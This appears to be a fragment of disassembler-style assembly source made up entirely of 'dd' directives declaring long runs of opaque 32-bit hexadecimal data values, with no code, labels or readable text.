		dd 0E1168B04h, 0D86E00DAh, 90E35526h, 76008EADh, 0FC6FA5A4h
		dd 3B7ACBCh, 80726843h,	0AB80123Dh, 0C90029A0h,	8ADB4D85h
		dd 3F092C27h, 0BE8F657Ah, 94AE589Dh, 45C6D9CEh,	111E504Fh
		dd 0ECC0462Eh, 0A36CBB0Fh, 8C2339ABh, 2B3F1E00h, 0BC6247EFh
		dd 0AF0CF498h, 7812DB8Bh, 8AE6206Ch, 9E95B426h,	79800E00h
		dd 67AC5Dh, 218CD0CFh, 0A4E1A3EDh, 309C6E00h, 83C7926Ch
		dd 75EA9Bh, 156B57A7h, 0F65E4F73h, 0A948CF00h, 68ADEACEh
		dd 7E027ED7h, 0EF730139h, 1F7B324h, 2B10CC4Ch, 8B50D903h
		dd 882D2EA3h, 0EC3006E4h, 40FECAh, 9515C05Fh, 87FC1388h
		dd 68BFE300h, 0FACC09E6h, 0F260009Dh, 278E9ED8h, 0F000F3A0h
		dd 0EC903652h, 8BB93Dh,	0AC1D9693h, 0EDF9AAEAh,	1F4E7703h
		dd 886546D4h, 93FDF3h, 0BEB74A2Ch, 7BA7DD61h, 0B07CB67Eh
		dd 8FA6AF07h, 960CAF3h,	954CD87h, 12EA3956h, 3AD89C00h
		dd 80005BC1h, 153461D6h, 76F4Fh, 8CC2B2E4h, 0F1400929h
		dd 0F6B8D50Fh, 808149BEh, 7EE80F47h, 94B20104h,	0A306EE9h
		dd 0E29BD002h, 0F5F75800h, 1942DCEAh, 9651C02Ah, 3F12B2EEh
		dd 299C3Bh, 803CF136h, 9432F2h,	62D77378h, 0E06EC365h
		dd 14B51700h, 0CD01BA99h, 0A87000DCh, 0B23D7A73h, 0F701C8E4h
		dd 0E6CEABA2h, 92F445BAh, 37C41F52h, 0C0D8F055h, 0E2F6C524h
		dd 2234B00h, 27B5CE72h,	0C2440099h, 48A16129h, 0BC00423Fh
		dd 87D193EBh, 16C45F9h,	205296AAh, 40291D26h, 6B0318B5h
		dd 495B5603h, 0B83B887Eh, 91904h, 48854778h, 5DB9981Fh
		dd 39500330h, 76B1EF14h, 0AD3D1E10h, 890141D8h,	2A0C81A9h
		dd 887C5100h, 1D7F1D6Fh, 30298B95h, 0C81C2F10h,	0D2066274h
		dd 73ADA69Ah, 1DD70318h, 0BA4C8960h, 926D39F0h,	40B8A41Dh
		dd 7A0AA900h, 2EC26BD3h, 380C6F5h, 399B63F9h, 593101A0h
		dd 2184EC31h, 0E7C48107h, 4B6900B7h, 0D23345F4h, 1400D073h
		dd 88170C5Ch, 13493Ah, 8464C39Ah, 8D15100Bh, 30F0AB12h
		dd 7A12602h, 7812600Ch,	1FE4079Dh, 0B5BAA02Dh, 80CE1D12h
		dd 8B182113h, 0CD00209Ch, 98776FB1h, 77C6A3ACh,	9410E97h
		dd 0EBE3A58Fh, 0FAB02DA1h, 263DB985h, 3E351D82h, 7E82B89h
		dd 0C350A6BCh, 0AE537Bh, 1E39AC1Bh, 0E70E6428h,	8A8DEE07h
		dd 40C0C758h, 99DF78B2h, 33A48380h, 0E5807411h,	2F001705h
		dd 0B5E33DE4h, 7F0762h,	208A2301h, 5B455EC6h, 50C90413h
		dd 48705400h, 68B5A8h, 5F037719h, 3DE28D74h, 0DA02FC00h
		dd 0F1E56476h, 9889E6BEh, 0AA281640h, 4040047Eh, 0A97CC8AEh
		dd 5C87F40h, 4CECFE4Ah,	0B6E81039h, 0C76D8603h,	96A808A7h
		dd 0A9001661h, 0AEF130B2h, 2B6793Ah, 0C660CACCh, 704073EDh
		dd 0B83F4BBAh, 0B909FBE3h, 0D542128Ch, 3478140Ch, 5FF20084h
		dd 64DD21F3h, 0A798FCC3h, 0ACEC7C90h, 1D8AD100h, 0AE73F462h
		dd 0D2CF0048h, 0E59E0F3Dh, 9506E4F2h, 0AF6EF08Ch, 5B9803A8h
		dd 0BAD023Eh, 81C4103Dh, 1412406h, 98EF8CF6h, 0B0F27Ah
		dd 7D821702h, 0AACDC03Eh, 95786C03h, 0D9699F45h, 0CC201C41h
		dd 0F24605D1h, 1D978949h, 8791C0C5h, 85599227h,	2BC35A00h
		dd 8160107h, 66ACC072h,	7CAB9336h, 8E92D600h, 1FD944D3h
		dd 54230080h, 0D0026DC4h, 4501E15Bh, 83375ABFh,	92F8F274h
		dd 0E766008Bh, 0E8A40644h, 75006A2Eh, 0D5010930h, 0DBF06Ch
		dd 0EBD8C563h, 0D3A63906h, 0DFCACB00h, 28497A75h, 0C1E50411h
		dd 80418B6Ch, 0D4F06074h, 95224C0Eh, 6EEE8077h,	0A028CCC5h
		dd 383637C0h, 0F080C3F4h, 5D663016h, 1700D3BBh,	27A2D529h
		dd 38DF610h, 38679AC5h,	9EE0E8BDh, 9C001F6Ah, 0EDB605Bh
		dd 7EEE91E1h, 98A81663h, 50EC0001h, 8FBDC471h, 0BBADC800h
		dd 26AA44A3h, 3F390053h, 4E82581Ah, 413EC771h, 0DFC9008Ah
		dd 6E4DE334h, 1FED1FD4h, 8003C339h, 4C9015F5h, 0C00C6ECh
		dd 7CFCF2CFh, 387164C1h, 5F006F9Ah, 8DB3F11Ah, 0CC1FF6F0h
		dd 0FB874D1Fh, 23D1655Ah, 31E8E74Bh, 0D2390C7Eh, 13386DD6h
		dd 0B118E17Dh, 0E769E866h, 14EB0061h, 5EEA8293h, 0DD00040Eh
		dd 69FE2D94h, 371F46Ch,	9C24E946h, 4192E397h, 83FC1CC0h
		dd 0C103500h, 801ED1A5h, 80A2B0EBh, 0FDE9DA5h, 0E2119F07h
		dd 65A8C4E0h, 0AC033404h, 2C82127Ah, 0CFA698B7h, 0B210C078h
		dd 4DECC0E3h, 3C90D940h, 0A6866AF3h, 0A86CB7E1h, 0ED78A205h
		dd 3080E8E0h, 0D46875h,	0A853633Fh, 31BA8B56h, 0C2CE6D00h
		dd 0F79920C6h, 3E2B7CF4h, 0E30F21A1h, 125691FCh, 7D3C20D5h
		dd 3B123E2Dh, 0BC5FF003h, 6A3880C0h, 79646EF7h,	91DD3D5Fh
		dd 625A100h, 94F595ABh,	0DF70AE02h, 0E820F371h,	37A9754h
		dd 0B70EB130h, 57A0FDDBh, 0BC07A43Fh, 7B020163h, 0D4F4B0F0h
		dd 0A9751233h, 0B43114A8h, 0C264CC07h, 62A65097h, 0E83B7380h
		dd 754B0069h, 91D88F3h,	41FD0344h, 7192379Eh, 3FE848B1h
		dd 0D25EE0h, 82DABB36h,	5A241606h, 34080A14h, 0E8D600D0h
		dd 764F7DF6h, 0DF8D0278h, 50C71F29h, 73207CC0h,	4C95A500h
		dd 0C6D53DCCh, 7951004Bh, 0D4EC4E24h, 6176D713h, 2A016C00h
		dd 91BB3ACh, 57253082h,	0F412C340h, 3F10561Ch, 6F83C980h
		dd 4F82EFFh, 8B14B945h,	0DDB720BFh, 18F30081h, 0B4DB29D1h
		dd 0EC00E436h, 8F752BDEh, 3EEA230Bh, 0D8BFACE2h, 9861C400h
		dd 0E01CE5A8h, 0E37CC8E2h, 6EADD200h, 634D107Dh, 489BF2ACh
		dd 9A04E832h, 0B15A3F0Dh, 50DAD930h, 0BD260F0h,	1F1F2494h
		dd 0DF18D78Eh, 0BF7BCE00h, 0B26D16h, 3724191Eh,	0F396FCA0h
		dd 0E764791Ch, 0B0382BDBh, 0F213109Eh, 48C700E6h, 0D1244BF4h
		dd 0C876B743h, 0D8EB6095h, 58CF3B72h, 5DD49081h, 0E02EAC75h
		dd 5E007011h, 54FCCDDAh, 7AA41A3h, 290176C9h, 8513C01Bh
		dd 0B728DCD8h, 4126ED36h, 0E300C177h, 0E106FBC7h, 0C9280019h
		dd 0C3360B31h, 7E1DF637h, 0E54C940Dh, 5C3CF0FAh, 0CE05A052h
		dd 80A911BEh, 69665BC4h, 5E55F01Ch, 0DEA0C900h,	0BCE1AAh
		dd 0D348F70Dh, 894F7616h, 0A3E28600h, 836C2E5Dh, 0DB4400FAh
		dd 13BC1965h, 0B51424DDh, 2F86B43h, 0D56734E7h,	0FD004863h
		dd 8F4F00DEh, 96F10F37h, 0B900A123h, 7480A8C8h,	1F21E4Ah
		dd 6CEE0843h, 0FDFA6DD8h, 4782F4D5h, 0D6306400h, 835E8A10h
		dd 87E003Ch, 35EF466Bh,	87031242h, 54160426h, 0F393A9D7h
		dd 0F6060h, 5F0C196Ah, 90867677h, 702AB012h, 5D8CC04h
		dd 21C40BAFh, 0FE418380h, 5B028E93h, 85DE1670h,	0E0D0603Ah
		dd 3C8B5D2Dh, 0AAE6A780h, 54601236h, 0A9A0F2D8h, 246A036Fh
		dd 3BC271B3h, 878D23A8h, 8DAAC00h, 2B7316F6h, 8FE40011h
		dd 97CD69A7h, 5D140447h, 0EB848FFh, 2E63C64Dh, 192820A8h
		dd 0C5CC1BFh, 360632F6h, 4B1FEE68h, 7807397h, 12F72BE1h
		dd 83090389h, 52DD81E5h, 8717E9B0h, 2F331502h, 408023F2h
		dd 0E74070h, 65B5EF5Dh,	4C44FC9Eh, 0A700BC7Ah, 7B8F8CFh
		dd 9A4B381h
		dd 416478F5h, 0D3049000h, 14003A56h, 657DF16Ch,	48F83Ch
		dd 1C2ACB67h, 7C77629Bh, 10B018C0h, 4B5F37h, 0D4D390B5h
		dd 39F12D5Eh, 16A12526h, 9B042300h, 787A3212h, 1CF686h
		dd 0AF19DB4Dh, 7412D74h, 0D1BB5900h, 15EC4B49h,	0F291B84Eh
		dd 0AEF83F56h, 0EADC481h, 20A28817h, 0A730B4D9h, 407781D1h
		dd 61B91B90h, 2C887023h, 8444539Ch, 2219202Dh, 0C0575100h
		dd 30DC33D0h, 0E8C91F45h, 1B9D42ACh, 0EA639923h, 123E20C8h
		dd 0CA2978C0h, 1E2B883h, 416AF667h, 20393AC9h, 20002767h
		dd 84FA45B7h, 3DE1D4Bh,	0E20BAC94h, 78392FF4h, 67203Dh
		dd 0FB905B9Bh, 0ECCB205Eh, 0B128F707h, 0C7A086EBh, 1E3B5Fh
		dd 4DB23494h, 361CE011h, 557B61E8h, 6275BD07h, 1003E37h
		dd 0C6B5E90h, 0A35F4406h, 0A1035298h, 6861CAA9h, 0B708E025h
		dd 97593ABBh, 5A50AE80h, 0CECDC8E7h, 49996700h,	62A9DB9Bh
		dd 5AB95823h, 11032860h, 3A018FB5h, 18B48A02h, 0F2304037h
		dd 474D00A1h, 0F4C7EE99h, 0F2000153h, 19CF056Bh, 6E180Ah
		dd 8BFEEAD8h, 0A38E43F3h, 0EBC73Ch, 13F1B12Bh, 0C52ED9h
		dd 0B339C124h, 1A126006h, 12FDEA3Eh, 41CA995h, 0EBC6E9C0h
		dd 3A3388E4h, 0F96930h,	0D4972C87h, 0E7E33B52h,	0FCDE9000h
		dd 33968AA0h, 445F609Dh, 7EB01D59h, 86000490h, 0F48F3B9Bh
		dd 281FBA87h, 0F4E8F2h,	26E48889h, 45C9B2B4h, 82FC6200h
		dd 1B679391h, 0C8110046h, 0F74F0AD4h, 0AC001EF2h, 49033EBCh
		dd 0EFCC5EABh, 0F1F0A880h, 638DD845h, 0F8AD6600h, 0D004489Ch
		dd 0C05938ACh, 0A200CAD8h, 6D3DE9AEh, 5B3D7384h, 25EE80E8h
		dd 9C1D3788h, 7D9A765Dh, 3FC10009h, 7BC51C60h, 0E9000129h
		dd 0EF039663h, 664988h,	0C25E1EABh, 52980DEh, 9F26EA03h
		dd 0C0A165F6h, 37B6268h, 643E2E6Eh, 91C888B8h, 0BB1F9354h
		dd 3C405395h, 15AF76C7h, 29D00086h, 0C60F9172h,	0FC00EABCh
		dd 3E995EF3h, 1C1C22Dh,	31127E94h, 80CA0D7Fh, 80AE1620h
		dd 52CFA0h, 75452E57h, 10C8BBD9h, 0CDC70600h, 6208861Eh
		dd 4AB407B9h, 0F0B591A1h, 0CE9D5EE8h, 2250E700h, 0A2319228h
		dd 0FD270020h, 0ED8AD9DCh, 0F6042D08h, 57625CBAh, 0A011B480h
		dd 72B900BDh, 0D7E8E5DBh, 5E000CA8h, 0AE306991h, 0CE81AAh
		dd 183EB022h, 0F9A88E4Dh, 17003BF8h, 7C834E08h,	92E779Ch
		dd 9ED9865Ah, 0CAD30801h, 81D120A9h, 7600A090h,	6E8CFB61h
		dd 1462F8Dh, 91C330AAh,	0E489E692h, 0B004EDCFh,	0BA7867AEh
		dd 0D3339490h, 0D0E200D2h, 6B20C048h, 0AB07F63Eh, 7EEE737Ch
		dd 0B12A46A0h, 0D2110043h, 0F0535C4Dh, 0FC901BD6h, 31040h
		dd 2A76C58Eh, 1CF894EEh, 50BFAF00h, 43B48685h, 717F81h
		dd 0D6651E88h, 118E38E0h, 6C0F9D0Eh, 6489E02Fh,	2429106h
		dd 0EF845DF4h, 80818F9Ah, 0D03E8B12h, 6EC0E885h, 8CCD4313h
		dd 90ACEA69h, 0DA6000A0h, 816CD320h, 0E10041BEh, 0D0C6C1BAh
		dd 7CBF06h, 4A5C04D2h, 0C9FF5269h, 9AE0C000h, 7FD87036h
		dd 3DD90020h, 0A24515B8h, 0F50017C1h, 6EFB44DCh, 0F56A4FFh
		dd 63061B4Eh, 709EEB07h, 0E7B0C4E5h, 0B7008F72h, 404356DCh
		dd 2419DE7Eh, 0F8ACCAh,	642B5A6Dh, 163B5EFFh, 7AA3806Fh
		dd 45B1B88Fh, 66F300C4h, 0A23A7071h, 0C700CA67h, 0B474D023h
		dd 0E3EFA9h, 0FB053B2Ah, 0AE5355BEh, 97DE5C00h,	0E556F39Bh
		dd 0DF8403C6h, 8E0A5F26h, 31A01289h, 6758E46Ch,	96D25300h
		dd 0C161665Ah, 89DA0074h, 0CD7B17CBh, 0E31C8BADh, 0B9808E15h
		dd 8CDD1B27h, 0D92B0019h, 3F136B0h, 0D477E544h,	0F8816E00h
		dd 1F0CE84Eh, 0B5831F1Ch, 677E40AFh, 842F0D96h,	0AED37004h
		dd 20C1B1CEh, 0C4249B46h, 73910076h, 9DFE0759h,	74003E3Fh
		dd 0B4B8708Ah, 7E95641h, 8D1427FCh, 0E3B15064h,	6898BCADh
		dd 4BEFD104h, 0F080A9F6h, 0EBAA4CF3h, 8FDF3080h, 855EAD0Ah
		dd 0D669C202h, 43A5EBC3h, 442C887Ch, 0BF2B00A7h, 0B82FDD15h
		dd 0E0A0C040h, 840078AFh, 0E0494E4Fh, 7AEE68Ch,	41BA79D2h
		dd 2B644047h, 0D626B4ACh, 0A600EB23h, 819357CAh, 0DAA00CA2h
		dd 0E0E11DF6h, 8366001h, 28D4D00Bh, 1B8CFE4h, 9124B68h
		dd 0EC04F1A5h, 8DF66B89h, 0EC959C00h, 1EA4D72Bh, 4AAC00B5h
		dd 68966D43h, 0F60939A5h, 80636C23h, 1AC30B90h,	0FD322819h
		dd 17BA77A8h, 40EB8990h, 45470700h, 3D00663Ah, 7D783684h
		dd 7254CAh, 448348A4h, 75D59757h, 0EB922A00h, 0C7437E49h
		dd 0D423009Ch, 6B086830h, 88009B0Ah, 0D5EB9EA6h, 0D36950h
		dd 61D0A9FCh, 76AE4162h, 6EBFC500h, 0CADAD29Ch,	72D30FA7h
		dd 403F11A0h, 2081334Bh, 1600F7BFh, 9E832E32h, 900E8F69h
		dd 820900CAh, 0B4259840h, 0AEE0201Fh, 0DB4E2F00h, 0BC0D637h
		dd 0F4F000DAh, 1A8985DDh, 9F2618Bh, 6FAA4E00h, 2D198AEBh
		dd 95403C8Dh, 0F6EC7980h, 0FD1B05F8h, 0E285CC00h, 491EFA12h
		dd 0A09F3F8Ch, 16D9A682h, 0F840CF5Bh, 0F53086ACh, 4F3A6838h
		dd 3B9F0057h, 9D908D75h, 1D0219F3h, 3007835Fh, 231140BFh
		dd 0F4D4BA92h, 649D60B6h, 0FD202DEFh, 0DCE14700h, 5CBF1882h
		dd 31E300B9h, 4CF4A144h, 1AC5700Ah, 0DC001DB8h,	77A5AD2Ah
		dd 6B700F6h, 5EBB9F20h,	0EC5D327Bh, 9DA90090h, 0F72EBD80h
		dd 46743E77h, 44034848h, 9572CD82h, 0FA2C890Dh,	0D6E0306Eh
		dd 0FB500C4h, 0F3B60CD5h, 18C7CBC9h, 3CFBCD4h, 30AA0D2Bh
		dd 5D203410h, 920F5B02h, 0C0D331D0h, 0E7FC5835h, 0B4F10283h
		dd 0D45F5EAEh, 96456FC0h, 7D188800h, 84FC0E95h,	8B7DBAh
		dd 7AB8ACB4h, 696153BCh, 3A2CCD26h, 45778A01h, 38B05A4Bh
		dd 8D9C0D66h, 1470BD5Dh, 0F74ED30h, 0A0A73D09h,	399CE514h
		dd 0CE89285Fh, 5B121D70h, 6F487055h, 0D0B86078h, 806BB03Dh
		dd 296E4AC6h, 0DFDE0Dh,	99A06DCAh, 38A7613Ch, 0B24DF11Dh
		dd 12AD1C07h, 408ADEC0h, 0F72AEh, 77CA967Eh, 0E667A90h
		dd 5270C207h, 0E590734Dh, 0CF7CA5h, 0F31AA4B1h,	8AA66D17h
		dd 2AA16300h, 5F0760BFh, 4FFD005Dh, 0A9B7A01Ch,	7D01F15Ch
		dd 0C2E90635h, 1F7004E6h, 7F7759Bh, 3BFC1EF0h, 0E8F6C2EDh
		dd 3C808660h, 5A05E4B8h, 22E8516h, 2414CD80h, 57933D3Fh
		dd 0A41D8780h, 36B3DC11h, 0FB78F028h, 0C13B3Bh,	5EE42802h
		dd 143B0FAh, 0FBBDFDAFh, 0FB2FA19Ch, 0AC87D9F8h, 65F9E101h
		dd 666E59EEh, 0C0EFFBD0h, 89512020h, 0A5009487h, 0A79A3F4Dh
		dd 1874C0h, 6092F541h, 231EB8EFh, 0EE85B50Ch, 7DE58EDh
		dd 83195FF1h, 0EB20C1E5h, 52ACF0A2h, 89FA80Fh, 0D946105h
		dd 32F0EA81h, 26AE073Bh, 50189AC7h, 8DA20507h, 0F393FC0Ah
		dd 80702087h, 0E078C9Eh, 48D7F302h, 3E4F304Ch, 0AD00E393h
		dd 0C3AB3917h, 9E836AFh, 6200360h, 0E8EE384h, 8DEA9F31h
		dd 0EECD1583h, 0D7F84Ch, 2EF434BCh, 31D90FF0h, 66080920h
		dd 60208030h, 33F92B17h, 3F130E98h, 44826D90h, 0D002EA8h
		dd 2864683Ch, 0A846C67h, 0CA9231FBh, 34C78130h,	180829BDh
		dd 6141CEADh, 4F872B60h, 561F2DB1h, 0B0284DB5h,	181F443Ch
		dd 82831F1h, 0C2F1C02Ch, 1590090Bh, 74406400h, 6E9DA659h
		dd 0EF650086h, 5F023782h, 31CC1942h, 0E1FD59AEh, 10022F02h
		dd 32570145h, 12885817h, 28C22B04h, 9A330EA0h, 0BD6A2105h
		dd 42810334h, 8448CAAAh, 61850006h, 3C178CD9h, 9630A980h
		dd 782F8004h, 0E36400CAh
		dd 0BDB239CDh, 0D13A3171h, 0AB8900A7h, 27BB4C41h, 0D677308Dh
		dd 5EA4E030h, 41F59A31h, 80ECBB22h, 0CAB1069Fh,	8998548h
		dd 0AB216164h, 4C4F01BAh, 0BE3D205Fh, 0E1E401F9h, 61FD25D0h
		dd 157424h, 0C3B8B27Ah,	7D8F0304h, 6925C900h, 0C06C34D0h
		dd 430E3060h, 96138241h, 7B06FB1Fh, 0E5840740h,	44D1E7Dh
		dd 457CB3E6h, 114C8092h, 0D648B002h, 0E3ACC048h, 43DFAD27h
		dd 12BF2236h, 0E215EDh,	2D7D5327h, 0CB000F63h, 0E7198D12h
		dd 34C6A7h, 0ED2A527h, 851BD18Eh, 0ECB00FF8h, 0C8C25F37h
		dd 18422E43h, 0F11F8C71h, 0D60053E2h, 1DD1C6ABh, 3035D584h
		dd 0D29446Ch, 6D383D83h, 0B931609Ah, 29080559h,	78644F5Bh
		dd 86023Dh, 0F2237E14h,	85A6FCCBh, 212D0530h, 0A393D9h
		dd 0D501EEEDh, 97731B12h, 0D0FF4030h, 3B143596h, 0F8D07798h
		dd 0C5028C6Ch, 19D122Eh, 115719CEh, 68CCBC11h, 2AB900F6h
		dd 86B591BBh, 9600DC3Eh, 580812E3h, 0F61C7C8h, 0CE484B17h
		dd 0C054F187h, 8A4498F5h, 50BFDC00h, 4345213Bh,	67F21F69h
		dd 784A013Dh, 0F7247D94h, 19F59690h, 31970B3Ah,	0C9B52152h
		dd 0F2EB0560h, 9D7E3059h, 0CA742850h, 6140C330h, 1867AEAh
		dd 66D8FDF7h, 0BFE075B6h, 0D769E008h, 0E2EB8B92h, 4F6D017Fh
		dd 899F10CCh, 0CE40834Ah, 0C0266AABh, 62BD1EA9h, 0C20D60A3h
		dd 11851F18h, 88E0FDF2h, 9780B8E9h, 9812FC8Bh, 4A3FD90Dh
		dd 6C9500AFh, 93289D18h, 0AC5100DEh, 0A8EEDCFDh, 9A308848h
		dd 226A81BDh, 0CCF7226h, 0D4C0335h, 21C75E09h, 77E0DACAh
		dd 1E67B1Ah, 0ECC7A624h, 8099C5D8h, 0D6276A81h,	0F4E508B3h
		dd 645F0053h, 0BF5977EBh, 49D98D2Fh, 24189278h,	2521270Eh
		dd 0C1C810E5h, 260CCC80h, 0EAC4DB79h, 0D6321EDCh, 3E081C0h
		dd 0F47D518Bh, 0DAE01297h, 4C90D00h, 67BE287Fh,	511F0EBFh
		dd 5BBE73BDh, 8FD01031h, 4050C096h, 363898ECh, 0D6A400BEh
		dd 3706863h, 0B9943DF5h, 740F7685h, 11F060CFh, 0FD10F485h
		dd 0E3C86770h, 8B89BC80h, 1D1352EAh, 0F74851h, 0DAEDAC5Ch
		dd 700A72Eh, 0F54DEC9Eh, 6071CC4Bh, 33205849h, 0B30630B9h
		dd 0C49F11C7h, 0FA91EAF9h, 0E2DD00C2h, 6831EC0Fh, 0BD00B6DEh
		dd 0EB1972D6h, 3B3071Fh, 578F380Bh, 0A9035DD9h,	0C794F7CAh
		dd 3A990E7Fh, 0F60FE70h, 717D1C4Dh, 0FF051500h,	0C5EA3EEEh
		dd 1246F2C8h, 5F4AFDA7h, 0D134E78h, 4B0C28F4h, 0A7B13FCBh
		dd 9E16EF0Ch, 102182h, 3677CE3Eh, 80BA63B2h, 3C925208h
		dd 0B60A808Dh, 3F0D1C93h, 0C55B8306h, 0A1687407h, 1E181670h
		dd 0FD1B8504h, 0CE326178h, 90968B23h, 197A4h, 610ACCCBh
		dd 1A99D208h, 7EA74F3Dh, 39C0C1C7h, 0B89E0048h,	0A069B3FFh
		dd 0C6227300h, 0CEC00E4Fh, 0D517808Bh, 1A10BE07h, 0D8C0070Dh
		dd 67175ACh, 2399D744h,	0EF03290Bh, 7CAB0C4Fh, 0F8B196C8h
		dd 1A42268Eh, 0F0C5C724h, 970C2021h, 31D16086h,	9F7312D8h
		dd 690074E0h, 0A1DA3D7h, 55A2AB54h, 0EBC598B5h,	0DC1BFCh
		dd 0B05CF356h, 0E225943Fh, 11489782h, 0A1C083CCh, 0B88C99CAh
		dd 86A120h, 50BA1CBFh, 313CAE59h, 7E78B418h, 0F03ED8h
		dd 513797E6h, 0A3E3081Dh, 0ECFF4B00h, 1BAE5C71h, 87073E28h
		dd 0E253B980h, 319DC83Bh, 0D7573Ah, 91D6503h, 49DAE1h
		dd 2EEC5312h, 0E86A757Bh, 0B3635A00h, 6FE70724h, 28CE1FA5h
		dd 4C7B0410h, 806D813Eh, 0BF408009h, 0D62119Ch,	77C4006Eh
		dd 182B7165h, 0C98BB2AEh, 81C82D5Bh, 74727BE0h,	8690890h
		dd 7C003182h, 0CAFFB70Fh, 5F2A008Ah, 16F68951h,	40001404h
		dd 9647EE37h, 2062E319h, 1704689Ah, 3DC5F54Fh, 0D9289440h
		dd 250345CDh, 8357EFF8h, 0E210D85Eh, 0D1FE1EEEh, 0B078C007h
		dd 7442340Dh, 0A2CBAD00h, 159D03A0h, 1D9100B1h,	0F0F9210Bh
		dd 0CA044633h, 0E76E300Eh, 0EF52B103h, 685C9BD8h, 0FB866D0Fh
		dd 81116CE9h, 0D8C600C9h, 0BC5F0C7Ah, 3000C2C1h, 6B4A812h
		dd 0E391836h, 1E68A46h,	69E2D1A0h, 1D001B68h, 0F4E2550h
		dd 1FC691B4h, 801E93E1h, 3EAE19C3h, 9B1F8B4Dh, 4C0FA4Ch
		dd 0BDDD364Bh, 2CDE1FF2h, 0A074559Ah, 0D08B6902h, 0F0018145h
		dd 14C4ED13h, 3B031F49h, 5FACDDCAh, 1D00F888h, 0DDB03190h
		dd 0E4509278h, 0E60047DEh, 0DC0216FEh, 7FEE8CDBh, 17BE073Bh
		dd 0E0EF7AE8h, 0ECE04291h, 0E04F382Ah, 0E2CBC800h, 0F17150C7h
		dd 267605A0h, 0F3549Ah,	3C8BD4A0h, 62F0CF53h, 8121663Ah
		dd 0B332EEBEh, 8040DF16h, 0AFA665h, 8B66D423h, 0CEAE691h
		dd 359AAE0Fh, 6043B2FAh, 0FFF816ACh, 0BDCD453h,	0DDA5C0C1h
		dd 0C9C68B00h, 0E70A8901h, 804F1995h, 0ED118480h, 1EF767ACh
		dd 514BBh, 3B1F8D22h, 0C0C2E4A8h, 0A0242D49h, 55C5B8A0h
		dd 4E8900A4h, 16E05119h, 2CF290E7h, 0BDC76B03h,	81CC05E3h
		dd 80401C9Eh, 52F0C9h, 0A0EBBFFBh, 0F980085Bh, 0C07B7E39h
		dd 0DB390094h, 2B098110h, 0B000F23Bh, 3EDD5EB1h, 0BA1715h
		dd 0E0718F32h, 0CCE4E9Ah, 0C38A8800h, 0E714D72Dh, 1CF50376h
		dd 6138468Dh, 21D4A6F8h, 621A1700h, 0E8417097h,	7FB600CDh
		dd 94539E3Ah, 40C0E0D3h, 0A38A45AEh, 0BBB0016Ch, 36A1B2Bh
		dd 4E2EE01Eh, 0DE7B6114h, 90A40080h, 86D3109Fh,	9B1121Bh
		dd 0A3C042E7h, 6060CBD4h, 586C21Ch, 0FD01850Ch,	7A88B68h
		dd 0E6B96510h, 25EB2D0h, 52AD004Fh, 0D336AE24h,	8600F39Dh
		dd 0DE10983Ah, 0E7EF25h, 0C7F7CB8h, 0D664489h, 21C0F8E8h
		dd 13E624E8h, 3B37C53h,	0CE211FD2h, 5000A70Ah, 592042E4h
		dd 24DD1732h, 247F92EFh, 45F00FCDh, 9FC450A0h, 0BB391153h
		dd 0E88900E1h, 8C7A1097h, 0A799076Fh, 20E48A69h, 90BF9FC5h
		dd 3B98400h, 193D4127h,	97BE0080h, 2B42D94Dh, 0F07348A6h
		dd 0C3A20C0h, 53CB6EC2h, 7C842085h, 0DC336044h,	60F57FCEh
		dd 0A3F030DEh, 0BF01837Ah, 97A75D41h, 0C6D15EC9h, 0BB552180h
		dd 3E75597Bh, 18809CA1h, 0B5E60420h, 310D677Dh,	85009F91h
		dd 2F03E96Dh, 0FDB581EBh, 64B398E7h, 20B76052h,	145DF2C5h
		dd 0FE8D9A3h, 0AB0E408h, 9A60CE00h, 796BC907h, 2BA20176h
		dd 41D3B231h, 0B480EE48h, 979CBB4Eh, 0BC4749C0h, 34FF6CCh
		dd 0E2B23A35h, 0A9001958h, 243487D1h, 26FFE7h, 0CC6C9C3Bh
		dd 0C192DF50h, 0A32FE600h, 8108225h, 530B1C8Ah,	5B59709Dh
		dd 0FE1C51A8h, 57D39373h, 0CF9BE107h, 1FDE11F1h, 4CE3C4h
		dd 608B9187h, 366FF945h, 3A69A005h, 94563BA6h, 4A0E7007h
		dd 0CA4D802Fh, 5F20E4h,	372ADC25h, 62C14E5Bh, 0F3990905h
		dd 0FBC12780h, 0C042D497h, 0D4E0F710h, 3C1FF555h, 1FCA5A2h
		dd 5F910CFAh, 7CD8AE56h, 5B3600A1h, 5419DAC3h, 0C00E5EAFh
		dd 0B5F63058h, 7E3200E4h, 0EA39409Dh, 55338BEh,	0B1A0074h
		dd 3E9223FBh, 720080D1h, 82E4D430h, 819B97h, 445D7814h
		dd 76FAAE7h, 3CA60F00h,	0F543ACC4h, 4DA31C06h, 0E74EE91h
		dd 0B2581240h, 0FB00FF83h, 258982E1h, 215A495h,	0F0DF2998h
		dd 0C263600Fh, 21014CA3h, 0A215DCBFh, 0C3D759E6h, 6AA5E0F5h
		dd 0C8AD00CEh, 0F44E8FBDh, 2007B76h, 9AFA32CFh,	0C3FB4Dh
		dd 299F972Fh, 0BD2B87B6h, 2260F803h, 0D26A7Ah, 2380A949h
		dd 48B65FE2h, 4E050E1Eh, 213B307Ah, 23688Eh, 0FD1A74DCh
		dd 0F9FE0817h, 6D74A58h, 3189CDE1h, 0E6BE8D0h, 0F13CF7F6h
		dd 57C5B898h, 1F654B00h
		dd 0A6CC2F60h, 0E52E7468h, 0BE21A6h, 0FFFA6E4Bh, 310151F5h
		dd 0AA79C536h, 8ED42F44h, 0F478193Dh, 858AB880h, 0E226791h
		dd 0C8046023h, 0FF966346h, 9220E60Dh, 5183D4Ch,	0A4EB7560h
		dd 599006E2h, 0BFE21D0h, 55C27B00h, 89A2EE07h, 0A82EF64Fh
		dd 40873E9Ch, 0AF7DD73Dh, 0E0AB347Ch, 4518FA82h, 299B3F11h
		dd 4B22C6h, 0E015DD68h,	752F6D4Ah, 84978D01h, 0DB22CB20h
		dd 0C4539080h, 772CA8D4h, 9488BD00h, 0E0E1E811h, 0CD7C0168h
		dd 121403CAh, 4DF4DC7Fh, 0BF66700Bh, 0AFF30328h, 9EB3908Dh
		dd 0D57B033Dh, 4A1E0ADCh, 29794288h, 76D9BD00h,	0AEB5CE20h
		dd 0DC9A0067h, 0E28CF708h, 0C5077AEBh, 23BFC242h, 967B3BD0h
		dd 0A8E4E115h, 0CBB3001Ah, 58789773h, 6E391769h, 56790082h
		dd 38B193E9h, 0A2490B7Dh, 0DB8007AEh, 67E0E46h,	5B1ABD00h
		dd 94F94D84h, 0ACEC3AAAh, 4ED0294h, 0F09CA3BAh,	3013B2E4h
		dd 5518A267h, 0F80070A6h, 5840B7F5h, 2E5D47h, 0D3DDE939h
